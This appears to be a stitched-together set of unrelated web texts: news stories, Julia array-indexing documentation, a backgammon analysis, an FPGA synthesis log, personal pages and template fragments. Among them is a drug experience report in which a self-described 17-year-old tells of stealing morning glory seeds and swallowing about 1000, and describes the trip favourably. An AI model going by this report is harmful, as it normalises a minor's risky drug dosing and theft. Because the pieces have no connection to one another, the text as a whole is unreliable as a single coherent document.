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SJC to hear vape sales ban case in December
by Colin A. Young/SHNSBOSTON - The Supreme Judicial Court has agreed to hear arguments related to Gov. Charlie Baker's emergency ban on vaping products, elevating to the state's highest court a legal argument brought by the Vapor Technology Association against the administration's ban.
The SJC will hear arguments in the case during its December sitting, the court announced in an order issued Monday.
Related Headlines
The governor's administration must file its brief with the court by Nov. 13, and the plaintiffs and interveners must file theirs by Nov. 25.
The SJC transferred the governor's appeal of an Oct. 21 Superior Court order denying a stay and requiring the administration to go through the emergency regulation process to keep its ban on the sale of vaping products in place.
The governor's appeal had been pending before the Appeals Court. Baker said he imposed the ban -- it was initially a four-month ban but has been whittled down by the courts to three months -- in September to give the federal government time to investigate an outbreak of vaping-related lung injuries around the country, including two deaths and dozens of cases of illness reported in Massachusetts.
The ban has been challenged as an executive overreach that is causing deep financial harm to small business owners. As part of its regulatory filing, the Baker administration projected that a three-month ban on retail nicotine and marijuana vaping products has the potential to cost private businesses $7 million to $8 million in sales.
The administration is planning a Nov. 22 public hearing on the ban as it works to comply with a court order that it go through the usual emergency regulation process.


Caustic Gervais returns as Golden Globes host for 'very last time'
(Reuters) - After vowing not to front another Golden Globe Awards ceremony and once being told he would never be asked back, caustic British comedian Ricky Gervais will return to host the annual showbiz spectacular for a record 5th time in January.
Gervais, 58, has sharply divided opinion as host, taking direct aim at the Hollywood A-listers in the audience while helping to keep TV viewing figures highs.
“Once again, they’ve made me an offer I can’t refuse,” Gervais said on Tuesday, announcing his return for the 77th edition of the award show, which honors television and film.
“But this is the very last time I’m doing this, which could make for a fun evening.”
Best known as the creator of TV mockumentary “The Office” and himself a three-time Golden Globe winner, Gervais first hosted the event in 2010.
He caused outrage on his second appearance a year later, insulting organizers with jokes about bribes and taking pot-shots at Johnny Depp and Angelina Jolie’s critically-panned movie “The Tourist”, which was on the list of award nominees.
The president of event host the Hollywood Foreign Press Association said at the time that Gervais would not return.
Paul Teledgy, chairman of NBC Entertainment, which airs the program, said Gervais’s reappearance on Jan. 5 meant viewers were in for an “unexpected evening”.
“There is always a palpable electricity in the room when Ricky takes the Globes stage,” he said. “...We can’t wait to see what he has up his sleeve.”
This year’s event, co-hosted by comedian Andy Samberg and actress Sandra Oh, reached an estimated 18.6 million viewers, organizers said.
Gervais, who has also toured the world with his stand-up comedy show, hosted the Globes from 2010 to 2012 and again in 2016. “They must be mad,” he once said of his previous returns.


CodeIgniter Announces an Interim Council
Elislab wanted to focus their development into the product that actually made them money. Nothing wrong about that. They started to look for a someone to take care of Codeigniter. The community started to panic. Months have passed and finally codeigniter has a new home.
The British Columbia Institute of Technology (BCIT) in Vancouver, Canada is a highly regarded applied technology institute with 48,000 full and part-time students. Their impressive BCIT School of Computing and Academic Studies teaches CodeIgniter to 150 students a year. Now, they are its stewards.
This was a great announcement in my opinion. As soon as they started to move their stuff into the new repo, and even get a new website everyone got excited again. Things are starting to move again.
The CodeIgniter project has an interim council, to oversee the release of CodeIgniter 3 and to steer the framework to the next level.
- Andreas Pfotenhauer - Although I never met him in real life I think of him as a wise friend from the #codeigniter freenode channel.
- Andrey Andreev - Our codeigniter hero, keep going buddy
- Ben Edmunds - I’ve been using his code for years, he’s a great addition to the project
- David Wosnitza - Long term Codeigniter user and abuser like myself
- Jim Parry - He’s the one in charge now, good luck to you
- Lonnie Ezell - Another great addition to the project
I’m happy that Pfotenhauer, Andrey, David, and Ben are on this. All stand up guys that have done a lot for the framework over the years either helping with the development or just helping or advising others on IRC.


Money Play. How should Red play 52?
pips Red=164 White=151
(CorrectAnswer= 0/0, ErrorScore= 0)
This a choice between the ‘normal' play of 8/3, 5/3 and the opportunity to make the 11-pt while keeping the 5-pt slotted.
It turns out that there is nothing to choose between the two plays thus showing occasionally two game plans are equally acceptable. The key is to at least consider 13/11, 13/8 and see that is a viable move.
It turns out that there is nothing to choose between the two plays thus showing occasionally two game plans are equally acceptable. The key is to at least consider 13/11, 13/8 and see that is a viable move.
1. Cubeful 2-ply 13/11 13/8 Eq.: -0.249 0.441 0.130 0.007 - 0.559 0.188 0.013 2. Cubeful 2-ply 8/3 5/3 Eq.: -0.263 (-0.014) 0.434 0.134 0.007 - 0.566 0.186 0.011 3. Cubeful 2-ply 13/8 11/9 Eq.: -0.335 (-0.086) 0.424 0.120 0.006 - 0.576 0.200 0.017 4. Cubeful 2-ply 13/6 Eq.: -0.345 (-0.096) 0.419 0.122 0.006 - 0.581 0.196 0.015 5. Cubeful 2-ply 13/11 8/3 Eq.: -0.347 (-0.097) 0.423 0.120 0.006 - 0.577 0.210 0.019


Bitcoin Miners in Canada Uncover Green Energy Breakthrough
by Ali RazaCanadian gas companies are using trapped natural gas to fuel Bitcoin mining, instead of simply having it flared to the atmosphere.
Bitcoin mining is renowned for requiring a lot of resources, and with an increased price of the coins, mining is once again under the spotlight. Recently, gas companies in Alberta, Canada, figured out a way to use trapped natural gas to fuel Bitcoin mining, instead of just letting it dissipate out into the atmosphere and pollute the air.
In fact, according to recent reports, as much as 500 m3/day is being utilized for mining purposes, instead of being vented into the atmosphere.
Bitcoin Mining, Rather Than Flaring
Bitcoin mining requires huge quantities of resources, which is seen by many as a problem that affects the environment. On the other hand, so does flaring trapped pockets of natural gas that is being released into the air in countries like Canada.
Now, thanks to a recent revelation that the country’s gas firms had had, all of this natural gas can be used for powering BTC mining farms. According to Bull Bitcoin’s Francis Pouliot, using the gas in this way solves a massive problem for gas well owners, thousands of which were struggling to contain these gas bursts or find a use case for them.
Furthermore, gas prices have been declining over the years, which did not exactly create an incentive to collect and transport it. The only way to get rid of it was to have it burned as it leaves the earth, which did not recover any energy, and it polluted the atmosphere.
Gas wells will no longer have to shut down
While flaring the gas was one form of a solution to the problem, the companies were not able to do it indefinitely.
With the new solution, this will no longer be the case, as the companies can install Bitcoin mining gear and use the gas to mine the coins. With more of the natural gas being used for powering mining farms, there will be a major reduction of carbon dioxide emissions from gas and oil exploration, which ultimately leads to greener mining.
At the same time, this approach can also bring greater decentralization of the mining process going forward.
What do you think about the new approach to mining and handling of natural gas? Leave a comment below and let us know.
Images via Shutterstock, Pixabay: @PhilipBarrington, Twitter @Francispouliot @SGBarbour
The Rundown


Arrays with custom indices¶
Julia 0.5 adds experimental support for arrays with arbitrary indices.
Conventionally, Julia’s arrays are indexed starting at 1, whereas some
other languages start numbering at 0, and yet others (e.g., Fortran)
allow you to specify arbitrary starting indices. While there is much
merit in picking a standard (i.e., 1 for Julia), there are some
algorithms which simplify considerably if you can index outside the
range 1:size(A,d)
(and not just 0:size(A,d)-1
, either). Such
array types are expected to be supplied through packages.
The purpose of this page is to address the question, “what do I have to do to support such arrays in my own code?” First, let’s address the simplest case: if you know that your code will never need to handle arrays with unconventional indexing, hopefully the answer is “nothing.” Old code, on conventional arrays, should function essentially without alteration as long as it was using the exported interfaces of Julia.
Generalizing existing code¶
As an overview, the steps are:
- replace many uses of
size
withindices
- replace
1:length(A)
withlinearindices(A)
, andlength(A)
withlength(linearindices(A))
- replace explicit allocations like
Array{Int}(size(B))
withsimilar(Array{Int}, indices(B))
These are described in more detail below.
Background¶
Because unconventional indexing breaks deeply-held assumptions throughout the Julia ecosystem, early adopters running code that has not been updated are likely to experience errors. The most frustrating bugs would be incorrect results or segfaults (total crashes of Julia). For example, consider the following function:
function mycopy!(dest::AbstractVector, src::AbstractVector)
length(dest) == length(src) || throw(DimensionMismatch("vectors must match"))
# OK, now we're safe to use @inbounds, right? (not anymore!)
for i = 1:length(src)
@inbounds dest[i] = src[i]
end
dest
end
This code implicitly assumes that vectors are indexed from 1.
Previously that was a safe assumption, so this code was fine, but
(depending on what types the user passes to this function) it may no
longer be safe. If this code continued to work when passed a vector
with non-1 indices, it would either produce an incorrect answer or it
would segfault. (If you do get segfaults, to help locate the
cause try running julia with the option --check-bounds=yes
.)
To ensure that such errors are caught, in Julia 0.5 both length
and size
should throw an error when passed an array with
non-1 indexing. This is designed to force users of such arrays to
check the code, and inspect it for whether it needs to be generalized.
Using indices
for bounds checks and loop iteration¶
indices(A)
(reminiscent of size(A)
) returns a tuple of
AbstractUnitRange
objects, specifying the range of valid indices
along each dimension of A
. When A
has unconventional
indexing, the ranges may not start at 1. If you just want the range
for a particular dimension d
, there is indices(A, d)
.
Base implements a custom range type, OneTo
, where OneTo(n)
means the same thing as 1:n
but in a form that guarantees (via the
type system) that the lower index is 1. For any new AbstractArray
type, this is the default returned by indices
, and it indicates
that this array type uses “conventional” 1-based indexing. Note that
if you don’t want to be bothered supporting arrays with non-1
indexing, you can add the following line:
@assert all(x->isa(x, Base.OneTo), indices(A))
at the top of any function.
For bounds checking, note that there are dedicated functions
checkbounds
and checkindex
which can sometimes simplify such
tests.
Linear indexing (linearindices
)¶
Some algorithms are most conveniently (or efficiently) written in
terms of a single linear index, A[i]
even if A
is
multi-dimensional. In “true” linear indexing, the indices always
range from 1:length(A)
. However, this raises an ambiguity for
one-dimensional arrays (a.k.a., AbstractVector
): does v[i]
mean linear indexing, or Cartesian indexing with the array’s native
indices?
For this reason, if you want to use linear indexing in an algorithm,
your best option is to get the index range by calling
linearindices(A)
. This will return indices(A, 1)
if A
is an
AbstractVector
, and the equivalent of 1:length(A)
otherwise.
In a sense, one can say that 1-dimensional arrays always use Cartesian
indexing. To help enforce this, it’s worth noting that
sub2ind(shape, i...)
and ind2sub(shape, ind)
will throw an
error if shape
indicates a 1-dimensional array with unconventional
indexing (i.e., is a Tuple{UnitRange}
rather than a tuple of
OneTo
). For arrays with conventional indexing, these functions
continue to work the same as always.
Using indices
and linearindices
, here is one way you could
rewrite mycopy!
:
function mycopy!(dest::AbstractVector, src::AbstractVector)
indices(dest) == indices(src) || throw(DimensionMismatch("vectors must match"))
for i in linearindices(src)
@inbounds dest[i] = src[i]
end
dest
end
Allocating storage using generalizations of similar
¶
Storage is often allocated with Array{Int}(dims)
or similar(A, args...)
.
When the result needs to match the indices of some other array, this may not always suffice.
The generic replacement for such patterns is to use
similar(storagetype, shape)
. storagetype
indicates the kind
of underlying “conventional” behavior you’d like, e.g., Array{Int}
or BitArray
or even dims->zeros(Float32, dims)
(which would
allocate an all-zeros array). shape
is a tuple of Integer
or
AbstractUnitRange
values, specifying the indices
that you want the result to use.
Let’s walk through a couple of explicit examples. First, if A
has
conventional indices, then similar(Array{Int}, indices(A))
would end up calling Array{Int}(size(A))
, and thus return an
array. If A
is an AbstractArray
type with unconventional
indexing, then similar(Array{Int}, indices(A))
should return
something that “behaves like” an Array{Int}
but with a shape
(including indices) that matches A
. (The most obvious
implementation is to allocate an Array{Int}(size(A))
and then
“wrap” it in a type that shifts the indices.)
Note also that similar(Array{Int}, (indices(A, 2),))
would allocate
an AbstractVector{Int}
(i.e., 1-dimensional array) that matches the
indices of the columns of A
.
Deprecations¶
In generalizing Julia’s code base, at least one deprecation was
unavoidable: earlier versions of Julia defined first(::Colon) = 1
,
meaning that the first index along a dimension indexed by :
is 1.
This definition can no longer be justified, so it was deprecated.
There is no provided replacement, because the proper replacement
depends on what you are doing and might need to know more about the
array. However, it appears that many uses of first(::Colon)
are
really about computing an index offset; when that is the case, a
candidate replacement is:
indexoffset(r::AbstractVector) = first(r) - 1
indexoffset(::Colon) = 0
In other words, while first(:)
does not itself make sense, in
general you can say that the offset associated with a colon-index is
zero.
Writing custom array types with non-1 indexing¶
Most of the methods you’ll need to define are standard for any
AbstractArray
type, see Abstract Arrays.
This page focuses on the steps needed to define unconventional
indexing.
Do not implement size
or length
¶
Perhaps the majority of pre-existing code that uses size
will not
work properly for arrays with non-1 indices. For that reason, it is
much better to avoid implementing these methods, and use the resulting
MethodError
to identify code that needs to be audited and perhaps
generalized.
Do not annotate bounds checks¶
Julia 0.5 includes @boundscheck
to annotate code that can be
removed for callers that exploit @inbounds
. Initially, it seems
far preferable to run with bounds checking always enabled (i.e., omit
the @boundscheck
annotation so the check always runs).
Custom AbstractUnitRange
types¶
If you’re writing a non-1 indexed array type, you will want to
specialize indices
so it returns a UnitRange
, or (perhaps
better) a custom AbstractUnitRange
. The advantage of a custom
type is that it “signals” the allocation type for functions like
similar
. If we’re writing an array type for which indexing will
start at 0, we likely want to begin by creating a new
AbstractUnitRange
, ZeroRange
, where ZeroRange(n)
is equivalent
to 0:n-1
.
In general, you should probably not export ZeroRange
from your
package: there may be other packages that implement their own
ZeroRange
, and having multiple distinct ZeroRange
types is (perhaps
counterintuitively) an advantage: ModuleA.ZeroRange
indicates that
similar
should create a ModuleA.ZeroArray
, whereas
ModuleB.ZeroRange
indicates a ModuleB.ZeroArray
type. This
design allows peaceful coexistence among many different custom array
types.
Note that the Julia package CustomUnitRanges.jl
can sometimes be used to
avoid the need to write your own ZeroRange
type.
Specializing indices
¶
Once you have your AbstractUnitRange
type, then specialize indices
:
Base.indices(A::ZeroArray) = map(n->ZeroRange(n), A.size)
where here we imagine that ZeroArray
has a field called size
(there would be other ways to implement this).
In some cases, the fallback definition for indices(A, d)
:
indices{T,N}(A::AbstractArray{T,N}, d) = d <= N ? indices(A)[d] : OneTo(1)
may not be what you want: you may need to specialize it to return
something other than OneTo(1)
when d > ndims(A)
. Likewise, in
Base
there is a dedicated function indices1
which is
equivalent to indices(A, 1)
but which avoids checking (at
runtime) whether ndims(A) > 0
. (This is purely a performance
optimization.) It is defined as:
indices1{T}(A::AbstractArray{T,0}) = OneTo(1)
indices1{T}(A::AbstractArray{T}) = indices(A)[1]
If the first of these (the zero-dimensional case) is problematic for your custom array type, be sure to specialize it appropriately.
Specializing similar
¶
Given your custom ZeroRange
type, then you should also add the following two specializations for similar
:
function Base.similar(A::AbstractArray, T::Type, shape::Tuple{ZeroRange,Vararg{ZeroRange}})
# body
end
function Base.similar(f::Union{Function,DataType}, shape::Tuple{ZeroRange,Vararg{ZeroRange}})
# body
end
Both of these should allocate your custom array type.
Specializing reshape
¶
Optionally, define a method
Base.reshape(A::AbstractArray, shape::Tuple{ZeroRange,Vararg{ZeroRange}}) = ...
and you can reshape
an array so that the result has custom indices.
Summary¶
Writing code that doesn’t make assumptions about indexing requires a few extra abstractions, but hopefully the necessary changes are relatively straightforward.
As a reminder, this support is still experimental. While much of Julia’s base code has been updated to support unconventional indexing, without a doubt there are many omissions that will be discovered only through usage. Moreover, at the time of this writing, most packages do not support unconventional indexing. As a consequence, early adopters should be prepared to identify and/or fix bugs. On the other hand, only through practical usage will it become clear whether this experimental feature should be retained in future versions of Julia; consequently, interested parties are encouraged to accept some ownership for putting it through its paces.


Hobbies
On my free time I like like to do many things:
- I like to take apart and build computer systems with friends.
- I try to stay healthy by going to gym every day of the week. I believe staying healthy is a necessary for staying awake during the day and boosting ones mood.
- Most recently I have taken up a new hobby of photography. I don't normally find a reasons to be outside other than to exercise and work. I bought a camera in hopes to enjoy nature and be able express my feelings through pictures.
Jobs
I'm a workaholic, I love to work. I can never just sit around and relax, thats why currently have two jobs:
- Trails End Resaurant in Cook Forest.
- Clarion University ITV technician.
Other
I enjoy meeting new people and I am very out going and laid back. I try my hardest when it comes to working because I enjoy looking at my own work when it is done so I can go further to critique it. I enjoy solving problems and working with others to solve those problems. I also believe that I am a good leader because of how laid back I am, sure there's times to have fun but there are times that work is needed in order to progess any farther. Getting along with other is also very important for leading and I believe I can become friends with almost anyone. I am never afraid of a challenge, If there's a will there's a way.


experiments in
𝑓Art.ᴛꜱ
this is a test
something with webgl
resizing the canvas
periodicity
vectors
waves
circles
trees
more trees
bezier
song trees
rust/
wasm
wasm
particles
game of life
an
ecs
? …maybe
plantlife
functional
gradient texture
collisions (broken)
ponds


Runtime Terror
Documentation
Check out our Documentation
Check out ./docs/index.html
for code documentation and Structure.md
for navigating our repo.
Dev Server
See ./tutorials/webpack.md
Web Component
HelloWorld
:bomb: InputRT :bomb: MQTTFetch :bomb: MQTTSend :bomb:
Acknowledgements
This project uses the following open source software:
- Sauce Labs - for offering automated cross browser testing


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#Build: Synplify Pro (R) N-2018.03G-Beta6, Build 118R, May 15 2018 #install: C:\Gowin\1.8\SynplifyPro #OS: Windows 8 6.2 #Hostname: BEACONDEV3 # Fri Oct 26 09:08:25 2018 #Implementation: rev_1 Copyright (C) 1994-2018 Synopsys, Inc. This Synopsys software and all associated documentation are proprietary to Synopsys, Inc. and may only be used pursuant to the terms and conditions of a written license agreement with Synopsys, Inc. All other use, reproduction, modification, or distribution of the Synopsys software or the associated documentation is strictly prohibited. Tool: Synplify Pro (R) Build: N-2018.03G-Beta6 Install: C:\Gowin\1.8\SynplifyPro OS: Windows 6.2 Hostname: BEACONDEV3 Implementation : rev_1 Synopsys HDL Compiler, Version comp2018q1p1, Build 118R, Built May 15 2018 09:18:11 @N: : | Running in 64-bit mode Copyright (C) 1994-2018 Synopsys, Inc. This Synopsys software and all associated documentation are proprietary to Synopsys, Inc. and may only be used pursuant to the terms and conditions of a written license agreement with Synopsys, Inc. All other use, reproduction, modification, or distribution of the Synopsys software or the associated documentation is strictly prohibited. Tool: Synplify Pro (R) Build: N-2018.03G-Beta6 Install: C:\Gowin\1.8\SynplifyPro OS: Windows 6.2 Hostname: BEACONDEV3 Implementation : rev_1 Synopsys Verilog Compiler, Version comp2018q1p1, Build 118R, Built May 15 2018 09:18:11 @N: : | Running in 64-bit mode @N: : | : Running Verilog Compiler in System Verilog mode @N: : | : Running Verilog Compiler in Multiple File Compilation Unit mode @I::"C:\Gowin\1.8\SynplifyPro\lib\generic\gw1n.v" (library work) @I::"C:\Gowin\1.8\SynplifyPro\lib\vlog\hypermods.v" (library __hyper__lib__) @I::"C:\Gowin\1.8\SynplifyPro\lib\vlog\umr_capim.v" (library snps_haps) @I::"C:\Gowin\1.8\SynplifyPro\lib\vlog\scemi_objects.v" (library snps_haps) @I::"C:\Gowin\1.8\SynplifyPro\lib\vlog\scemi_pipes.svh" (library snps_haps) @I::"C:\fpga_led_tm1637\src\spi_master.v" (library work) @I::"C:\fpga_led_tm1637\src\led_tm1637.v" (library work) @I:"C:\fpga_led_tm1637\src\led_tm1637.v":"C:\fpga_led_tm1637\src\rom.v" (library work) @I::"C:\fpga_led_tm1637\src\led_tm1637_rom.v" (library work) Verilog syntax check successful! Selecting top level module demo @N:CG364 : led_tm1637_rom.v(3) | Synthesizing module LED_TM1637_ROM in library work. Opening data file led_tm1637_rom.mem from directory C:\fpga_led_tm1637\src @W:CG532 : led_tm1637_rom.v(12) | Within an initial block, only Verilog force statements and memory $readmemh/$readmemb initialization statements are recognized, and all other content is ignored. @N:CG364 : spi_master.v(3) | Synthesizing module spi_master in library work. DIO_MODE=32'b00000000000000000000000000000001 CLOCK_MODE=32'b00000000000000000000000000000011 LSB_FIRST=32'b00000000000000000000000000000001 WORD_LEN=32'b00000000000000000000000000001000 PRESCALER_SIZE=32'b00000000000000000000000000001000 PRESCALER=32'b00000000000000000000000000000000 STATE_IDLE=1'b0 STATE_BUSY=1'b1 Generated name = spi_master_1s_3s_1s_8s_8s_0s_0_1 @N:CG364 : led_tm1637.v(5) | Synthesizing module demo in library work. @W:CL169 : led_tm1637.v(188) | Pruning unused register test_display_on[7:0]. Make sure that there are no unused intermediate registers. @W:CL169 : led_tm1637.v(188) | Pruning unused register test_display_off[7:0]. Make sure that there are no unused intermediate registers. @W:CL207 : led_tm1637.v(188) | All reachable assignments to tm1637_vcc assign 1, register removed by optimization. @W:CL190 : led_tm1637.v(188) | Optimizing register bit repeat_count[14] to a constant 0. To keep the instance, apply constraint syn_preserve=1 on the instance. @W:CL260 : led_tm1637.v(188) | Pruning register bit 14 of repeat_count[14:0]. If this is not the intended behavior, drive the input with valid values, or an input from the top level. @W:CL190 : led_tm1637.v(188) | Optimizing register bit repeat_count[13] to a constant 0. To keep the instance, apply constraint syn_preserve=1 on the instance. @W:CL260 : led_tm1637.v(188) | Pruning register bit 13 of repeat_count[13:0]. If this is not the intended behavior, drive the input with valid values, or an input from the top level. @W:CL190 : led_tm1637.v(188) | Optimizing register bit repeat_count[12] to a constant 0. To keep the instance, apply constraint syn_preserve=1 on the instance. @W:CL260 : led_tm1637.v(188) | Pruning register bit 12 of repeat_count[12:0]. If this is not the intended behavior, drive the input with valid values, or an input from the top level. @W:CL190 : led_tm1637.v(188) | Optimizing register bit repeat_count[11] to a constant 0. To keep the instance, apply constraint syn_preserve=1 on the instance. @W:CL260 : led_tm1637.v(188) | Pruning register bit 11 of repeat_count[11:0]. If this is not the intended behavior, drive the input with valid values, or an input from the top level. At c_ver Exit (Real Time elapsed 0h:00m:00s; CPU Time elapsed 0h:00m:00s; Memory used current: 74MB peak: 86MB) Process took 0h:00m:01s realtime, 0h:00m:01s cputime Process completed successfully. # Fri Oct 26 09:08:26 2018 ###########################################################] Copyright (C) 1994-2018 Synopsys, Inc. This Synopsys software and all associated documentation are proprietary to Synopsys, Inc. and may only be used pursuant to the terms and conditions of a written license agreement with Synopsys, Inc. All other use, reproduction, modification, or distribution of the Synopsys software or the associated documentation is strictly prohibited. Tool: Synplify Pro (R) Build: N-2018.03G-Beta6 Install: C:\Gowin\1.8\SynplifyPro OS: Windows 6.2 Hostname: BEACONDEV3 Implementation : rev_1 Synopsys Synopsys Netlist Linker, Version comp2018q1p1, Build 118R, Built May 15 2018 09:18:11 @N: : | Running in 64-bit mode @N:NF107 : led_tm1637.v(5) | Selected library: work cell: demo view verilog as top level @N:NF107 : led_tm1637.v(5) | Selected library: work cell: demo view verilog as top level At syn_nfilter Exit (Real Time elapsed 0h:00m:00s; CPU Time elapsed 0h:00m:00s; Memory used current: 67MB peak: 68MB) Process took 0h:00m:01s realtime, 0h:00m:01s cputime Process completed successfully. # Fri Oct 26 09:08:26 2018 ###########################################################] @END At c_hdl Exit (Real Time elapsed 0h:00m:01s; CPU Time elapsed 0h:00m:00s; Memory used current: 3MB peak: 4MB) Process took 0h:00m:01s realtime, 0h:00m:01s cputime Process completed successfully. # Fri Oct 26 09:08:26 2018 ###########################################################]


Hi, I am a young software developer based in Selva Val Gardena, Italy. I am flexible, and eager to work with a team of talented developers. I have experience with JavaScript, Golang, C#, PHP, and I am constantly learning new things. My other interests include ₿ cryptocurrencies (bitcoin), 💸 finance and 🚁 drone flying. I am also passionate about Linux and Open Source software.
Technical Skills
Frontend
- HTML5 • 5 Years of Experience
- CSS3 • 5 Years of Experience
- JavaScript • 4 Years of Experience
- React • 2 Years of Experience
- Svelte • 1 Year of Experience
Backend
- Node.js • 2 Years of Experience
- Golang • 1 Year of Experience
- PHP • 1 Year of Experience
- Rust • Getting started
Other
- Linux servers (web, file, application, ...) • 3 Years of Experience
- Windows servers (AD, DNS, DHCP, ...) • 3 Years of Experience
- Git • 4 Years of Experience (1 Year collaborating with others)
- Computer Networking • 3 Years of Experience
- Java/Kotlin (Android) • 2 Years of Experience
- Flutter (Dart) • 1 Year of Experience
- SQL • 4 Years of Experience
- MongoDB • 2 Years of Experience
- Docker • 1 Year of Experience
- CI/CD • Github Workflow
- TDD • Getting started
- ECDL (Office) • 5 Years of Experience
Internships
-
Software Developer at Demaclenko, Selva di Val GardenaJuly
2018 – August 2018
- - Build native Android app to manage snow-guns
- - Build web-service to release updates to customers and collect error reports.
- - Rewrite cross-compilation automation tool
Education
- LBS Tschuggmall (Brixen) • 2015 - Present


This thing is before the template and should not appear in the errai-bundle-all.json file!
inside
This thing is after the template and should not appear in the errai-bundle-all.json file!


A Morning of Pure Glory, Oh Yeah.
Basically the thought of tripping on morning glory seeds was constantly lingering in my future plans for using. I believed mainly everything my friends had told me about the seeds and the affects, most of the experiences were verbatim online as my friends had detailed to me prior to my intake.
First of all I would like to say i'm 17. Experienced in most drugs ranging from LSD to DXM. I'm a great fan of trying new options to enhance my use and creativity through using. Anyways let me explain the whole night.
A few friends and I had both gathered as many 'borrowed' seeds from local plant stores as possible, well basically we cleaned a lot of places out. Overall we had about 5000 seeds, to split up between 5 people. We cleaned them in some mixture my friend had created for the situation, after cleaning my friend claimed the seeds were as cleen as laundry. I intended to get around 500 seeds in to test them out, unfortunatly I felt a little more curious for a somewhat higher affect so i proceeded to take around another 500 (whatever was left over from my original 1k).
2:22 PM
ingestion occured. I felt the best way to kill a few hours before affects approached would be to put on some increasingly relaxing techno followed by some extremely stimulating eye candy (milkdrop plugin for winamp). I continued to stare into the exotic arrays of organic shapes and flowing colors on the screen (very natural no trip here or anything). I constantly breathed deep and calm as I do before any trip. I wanted to achieve an awake relaxed state which ive seen to help me have much more benificial trips on LSD.
3:30 PM
I became rather curious as to wheither or not I'd even get affects because of other drug usage a day or two prior (lsd, thc, and some dramamine). I continued to feel nothing except relaxed, which was no longer self induced. It was almost as if I was being relaxed by an outer source...possibly the seeds? I waited to find out.
4:30 PM
My eyes started to feel like I just went to the eye doctor and had those dilation drops put in.  A somewhat familiar feeling I might add. Once this feeling reached a maximum, I began to really notice some interesting affects.
4:45 PM
My pupils were dilated. The biggest thing I noticed was a familiarity feeling approaching withing the bottem of my stomach. It's like when I feel on top of the world and safer than I could possibly be. The comfort was almost overwhelming but I continued to love it. Another result at this point had been semi trails on lighting. Not streamline or a constant trail, more of a chopped image like my brain had a bad video card and I couldn't process the light trail at the normal rate.
5:05 PM
All of the effects that started to occur at 4:45ish were comming in a fuller effect. My hands were a bit shaky and if I held it under the black-light i could see some interesting wavy trails off where my hand once was, like I had a blurry hand around its perimiter. Trails were still somewhat diced up but I wasn't too concerned about that. The most interesting part was when I went to the bathroom my friend shouted after me 'look at your face for a while'. So after i finished goin to the bathroom I started to wash my hands off as I stared into the mirror. Ironically this was one of the most interesting part of the 'trip' if you will. I kept smiling like I was on shrooms, so basically I was laughing at my own reflection and it was laughing back. I felt like a million $ and all I could do was look at myself, as if i was in love, yeah ok anyways...
6:12 PM
Climbing the peak. I felt the feelings intensify significantly except for the choppy trails. I felt like I woke up and was born sin, problem and error free. Everything I did I mentally congradulated myself for being so cool (no I don't normally do this). Even when i fell down my stairs I felt like I fell like a pro falls down stairs, like nobody could even do as good as I did when I went headfirst down 10 stairs.
6:45 PM
At about this time I decided morning glory seeds were the greatest thing ever created by God or whoever, so on that note I mentally thanked god for making them (why was I doing this sort of thing? I don't know but it just made sense to do at the time). The peak seemed so far away, I felt like I'd be in that trip state of mind forever and I was hoping I would. Although peaking was my goal throughout most of the trip, I suddenly became extremely tired. My new goal was to fall asleep or actually fight it.
7:15 PM
8 cups of coffee and a Dew later...
I was wide awake and shaking even more, but of course I loved it.
I continued to exhibit these experiences throughout the course of the night.
2:09 AM
The trip was off but I felt a constant burnt out feeling like I get after a little bit too much weed in one day. Except this feeling was like I just moved to the nicest beach in mexico. This feeling lasted well into the day (around 11am).
Anyways there is probably more to add, but I'm just too laid back to even remember.
I enjoyed MG seeds as an alternative to lsd or shrooms. Probably one of the best trips ive had on something other than LSD. I found it beneficial to relax for an hour after I did the seeds. I got myself in one of the nicer state of minds, then I was good to go.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


{% extends 'bridge/base.html' %} {% comment "License" %} % Copyright (c) 2019 ISP RAS (http://www.ispras.ru) % Ivannikov Institute for System Programming of the Russian Academy of Sciences % % Licensed under the Apache License, Version 2.0 (the "License"); % you may not use this file except in compliance with the License. % You may obtain a copy of the License at % % http://www.apache.org/licenses/LICENSE-2.0 % % Unless required by applicable law or agreed to in writing, software % distributed under the License is distributed on an "AS IS" BASIS, % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % See the License for the specific language governing permissions and % limitations under the License. {% endcomment %} {% load i18n %} {% load humanize %} {% load tz %} {% load static %} {% load compress %} {% block head_block %} {% compress js file job %} {% endcompress %} {% endblock %} {% block title %}{% trans 'Job' %}{% endblock %} {% block body_block %}
|
{{ object.name }}
{% if preset_changed %} ({% trans 'Preset files for this job were changed' %}){% endif %} |
|
|---|---|
| {% trans 'Identifier' %} | {{ object.identifier }} |
| {% trans 'Created by' %} | {{ object.author.get_full_name }} |
| {% trans 'Creation date' %} | {% if user.data_format == 'hum' %}{{ object.creation_date|naturaltime }}{% else %}{{ object.creation_date }}{% endif %} |
| {% trans 'Job parents' %} | {% include 'jobs/parents.html' with parents=parents %} |
{% blocktrans with global_role=object.get_global_role_display %}Other users have role "{{ global_role }}" for this job{% endblocktrans %}


Barcode Wars
Select image (Online barcode generator,use UPC-A)
Player
Strength:0
Defense:0
Vitality:0
Defense:0
Vitality:0
Monster
Strength:0
Defense:0
Vitality:0
Defense:0
Vitality:0


--- layout: default title: Rooms & Rates index: true permalink: /rooms/ background: motel pinned: true referrer: no-referrer description: Rooms available starting at $85 / night thumbnail: url: /img/raster/background/motel-400.jpg preload: - href: "/img/raster/background/rooms-1440.jpg" as: image type: image/jpeg referrerPolicy: no-referrer media: "(min-width: 1441px)" importance: high - href: "/img/raster/background/rooms-1280.jpg" as: image type: image/jpeg referrerPolicy: no-referrer media: "((max-width: 1440px) and (min-width: 1281px))" importance: high - href: "/img/raster/background/rooms-800.jpg" as: image type: image/jpeg referrerPolicy: no-referrer media: "((min-width: 401px) and (max-width: 800px))" importance: high - href: "/img/raster/background/rooms-800.jpg" as: image type: image/jpeg referrerPolicy: no-referrer media: "(max-width: 400px)" importance: high tags: - motel - hotel - room - lodge ---
All of our rooms share a community front porch and have great lake views. There
is a community lounge area. The rooms have flat screen TV's with satellite
TV and HBO. Coffee makers and mini-refrigerators are in every room. Heating
& air-conditioning units and free Wi-Fi.
Plenty of free parking for boats or work trucks and equipment.


Every Man Utd player's 2019-20 salary as Red Devils splash over £150million on wages
Scott McTominay is the lowest earner among United's first team, while striker Alexis Sanchez is still one of the club's best-paid players despite being out on loan
by Darren Wells, https://www.mirror.co.uk/authors/darren-wells/Manchester United will fork out over £150 million on player salaries this season as they bid to get back amongst the Premier League's elite.
